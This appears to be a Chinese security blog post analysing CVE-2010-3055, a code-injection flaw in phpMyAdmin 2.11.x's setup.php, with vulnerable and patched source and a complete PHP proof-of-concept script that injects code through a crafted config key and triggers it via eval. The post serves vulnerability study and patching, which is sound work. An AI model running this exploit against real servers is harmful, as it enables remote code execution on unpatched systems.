菜单 学习猿地 - LMONKEY

VIP

开通学习猿地VIP

尊享10项VIP特权 持续新增

知识通关挑战

打卡带练!告别无效练习

接私单赚外块

VIP优先接,累计金额超百万

学习猿地私房课免费学

大厂实战课仅对VIP开放

你的一对一导师

每月可免费咨询大牛30次

领取更多软件工程师实用特权

入驻
300
0

phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via A Crafted POST Request CVE-2010-3055

原创
05/13 14:22
阅读数 49083

目录

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述

The configuration setup script (aka scripts/setup.php) in phpMyAdmin 2.11.x before 2.11.10.1 does not properly restrict key names in its output file, which allows remote attackers to execute arbitrary PHP code via a crafted POST request.

简单地概括这个漏洞如下

1. \scripts\setup.php文件会接收用户的POST数据进行配置文件的键值(key-value)赋值,并将结果写入/config/config.inc.php文件
2. 代码对用户的输入没有进行有效的过滤,导致黑客可以采用"注入拼接技术",在原本的key-value赋值的"中间",拼接一段任意代码执行
3. \scripts\setup.php文件在点击load(也就是用户点击查看配置文件)的时候,采用eval(..的方式进行"变量本地注册",即重新执行一次变量赋值
4. 在eval的过程中,之前黑客注入的任何代码,被eval执行了,导致了最终的代码执行

Relevant Link:

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3055
http://threats.io/cve/CVE-2010-3055/


2. 漏洞触发条件

1. phpmyadmin下的config文件夹存在
这点和CVE-2009-1151是一样的,setup.php本身不能创建新的目录

2. config文件夹、config.inc.php文件可写

3. 代码本身存在输入过滤漏洞

0x1: 测试POC

POC的发起需要附带对应的token,在手工测试的时候需要注意这点

<?php
// this is an exploit code for phpMyAdmin 2.11.10

$target_url = "http://host/path/phpmyadmin/script/setup.php";

$token = null;

// request 1:获取token
$res = get_response();

// request 2 (add server)
$res = get_response('POST', "token=$token&action=addserver");

// request 3 (save to session)
$res = get_response('POST', "token=$token&action=addserver_real&host=localhost&connect_type=tcp&extension=mysql&auth_type=config&user=root&password=1&submit_save=Add&AllowDeny_order=1&AllowDeny[a][b]['.phpinfo().']=1");

// request 4 (save to file)
$res = get_response('POST', "token=$token&action=save");

// request 5 (load file)
$res = get_response('POST', "token=$token&action=load");
var_dump($res);


function get_response($method='GET', $body=null) {
    global $target_url, $token;
    static $ch = null;

    if ($ch === null) $ch = curl_init();

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_URL, $target_url);

    if ($method == 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
    }

    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie.txt');
    curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie.txt');

    $res = curl_exec($ch);
    $token = get_token($res);

    return $res;
}

function get_token($s) {
    if (preg_match('#name="token" value="(.*?)"#', $s, $m)) {
        return $m[1];
    }
}

Relevant Link:

http://forum.antichat.ru/printthread.php?t=239845


3. 漏洞影响范围

phpMyAdmin phpMyAdmin 2.11.10 
phpMyAdmin phpMyAdmin 2.11.9 4
phpMyAdmin phpMyAdmin 2.11.9 .6
phpMyAdmin phpMyAdmin 2.11.9 .2
phpMyAdmin phpMyAdmin 2.11.9 .1
phpMyAdmin phpMyAdmin 2.11.9 
phpMyAdmin phpMyAdmin 2.11.8 
phpMyAdmin phpMyAdmin 2.11.7 
phpMyAdmin phpMyAdmin 2.11.5 
phpMyAdmin phpMyAdmin 2.11.4 
phpMyAdmin phpMyAdmin 2.11.1 
phpMyAdmin phpMyAdmin 2.11.9.5.
phpMyAdmin phpMyAdmin 2.11.9.5
phpMyAdmin phpMyAdmin 2.11.9.3
phpMyAdmin phpMyAdmin 2.11.8.1
phpMyAdmin phpMyAdmin 2.11.5.2
phpMyAdmin phpMyAdmin 2.11.5.1
phpMyAdmin phpMyAdmin 2.11.2.2
phpMyAdmin phpMyAdmin 2.11.2.1
phpMyAdmin phpMyAdmin 2.11.10-dev
phpMyAdmin phpMyAdmin 2.11.1.2
phpMyAdmin phpMyAdmin 2.11.1.1
MandrakeSoft Corporate Server 4.0 x86_64
MandrakeSoft Corporate Server 4.0
Gentoo Linux 
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0

Relevant Link:

http://www.securityfocus.com/bid/42591


4. 漏洞代码分析

这个漏洞的利用需要分几步,我们分为注入和利用2步来分析代码中存在的漏洞

0x1: 注入

function get_cfg_val($name, $val) 
{
    global $crlf;

    $ret = '';
    if (is_array($val)) 
    {
        $ret .= $crlf;
        foreach ($val as $k => $v) 
        {
            if (!isset($type)) 
            {
                if (is_string($k)) 
                {
                    $type = 'string';
                } 
                elseif (is_int($k)) 
                {
                    $type = 'int';
                    $ret .= $name . ' = array(' . $crlf;
                } 
                else 
                {
                    // Something unknown...
                    $ret .= $name. ' = ' . PMA_var_export($val) . ';' . $crlf;
                    break;
                }
            }
            if ($type == 'string') 
            { //如果没有对用户的输入进行转义、过滤、规范化,则会存在拼接型注入的风险
                $ret .= get_cfg_val($name . "['$k']", $v);
            } 
            elseif ($type == 'int') 
            {
                $ret .= '    ' . PMA_var_export($v) . ',' . $crlf;
            }
        }
        if (!isset($type)) 
        {
            /* Empty array */
            $ret .= $name . ' = array();' . $crlf;
        } 
        elseif ($type == 'int') 
        {
            $ret .= ');' . $crlf;
        }
        $ret .= $crlf;
        unset($type);
    } 
    else 
    {
        $ret .= $name . ' = ' . PMA_var_export($val) . ';' . $crlf;
    }
    return $ret;
}

0x2: 利用

...
case 'load':
        if ($fail_dir) {
            message('error', 'Reading of configuration disabled because of permissions.');
            break;
        }
        //载入配置文件
        $new_cfg = load_config('./config/config.inc.php');
        if (!($new_cfg === FALSE)) {
            $_SESSION['configuration'] = $new_cfg;
        }
        $show_info = TRUE;
        break;
...

load_config()

function load_config($config_file) 
{
    if (file_exists($config_file)) 
    {
        $success_apply_user_config = FALSE;
        $old_error_reporting = error_reporting(0);
        //直接使用eval对配置文件中的key-value进行"变量本地注册",黑客可以采用拼接的方式,在eval即将执行的字符串中拼接入任意代码,从而导致远程代码执行
        if (function_exists('file_get_contents')) 
        {
            $success_apply_user_config = eval('?>' . trim(file_get_contents($config_file)));
        } 
        else
        {
            $success_apply_user_config = eval('?>' . trim(implode("\n", file($config_file))));
        }
        error_reporting($old_error_reporting);
        unset($old_error_reporting);
        if ($success_apply_user_config === FALSE) 
        {
            message('error', 'Error while parsing configuration file!');
        } 
        elseif (!isset($cfg) || count($cfg) == 0) 
        {
            message('error', 'Config file seems to contain no configuration!');
        } 
        else 
        {
            // This must be set
            if (!isset($cfg['Servers'])) 
            {
                $cfg['Servers'] = array();
            }
            message('notice', 'Configuration loaded');
            compress_servers($cfg);
            return $cfg;
        }
    } 
    else 
    {
        message('error', 'Configuration file not found!');
    }
    return FALSE;
}

Relevant Link:

http://sourceforge.net/p/phpmyadmin/bugs/3081/

 
5. 防御方法

function get_cfg_val($name, $val) 
{
    global $crlf;

    $ret = '';
    if (is_array($val)) 
    {
        $ret .= $crlf;
        foreach ($val as $k => $v) 
        {
            if (!isset($type)) 
            {
                if (is_string($k)) 
                {
                    $type = 'string';
                } 
                elseif (is_int($k)) 
                {
                    $type = 'int';
                    $ret .= $name . ' = array(' . $crlf;
                } 
                else 
                {
                    // Something unknown...
                    $ret .= $name. ' = ' . PMA_var_export($val) . ';' . $crlf;
                    break;
                }
            }
            if ($type == 'string') 
            {
                //防御代码
                $k = preg_replace('/[^A-Za-z0-9_]/', '_', $k);
                //如果没有对用户的输入进行转义、过滤、规范化,则会存在拼接型注入的风险
                $ret .= get_cfg_val($name . "['$k']", $v);
            } 
            elseif ($type == 'int') 
            {
                $ret .= '    ' . PMA_var_export($v) . ',' . $crlf;
            }
        }
        if (!isset($type)) 
        {
            /* Empty array */
            $ret .= $name . ' = array();' . $crlf;
        } 
        elseif ($type == 'int') 
        {
            $ret .= ');' . $crlf;
        }
        $ret .= $crlf;
        unset($type);
    } 
    else 
    {
        $ret .= $name . ' = ' . PMA_var_export($val) . ';' . $crlf;
    }
    return $ret;
}
 

在输入的检测中,使用正则进行了"规范化",将输入的key限定在数字和字母的范围之中,有效地防御了这个代码执行漏洞

Relevant Link:

https://github.com/phpmyadmin/phpmyadmin/commit/30c83acddb58d3bbf940b5f9ec28abf5b235f4d2


6. 攻防思考

暂无

Copyright (c) 2014 LittleHann All rights reserved

 

发表评论

0/200
300 点赞
0 评论
收藏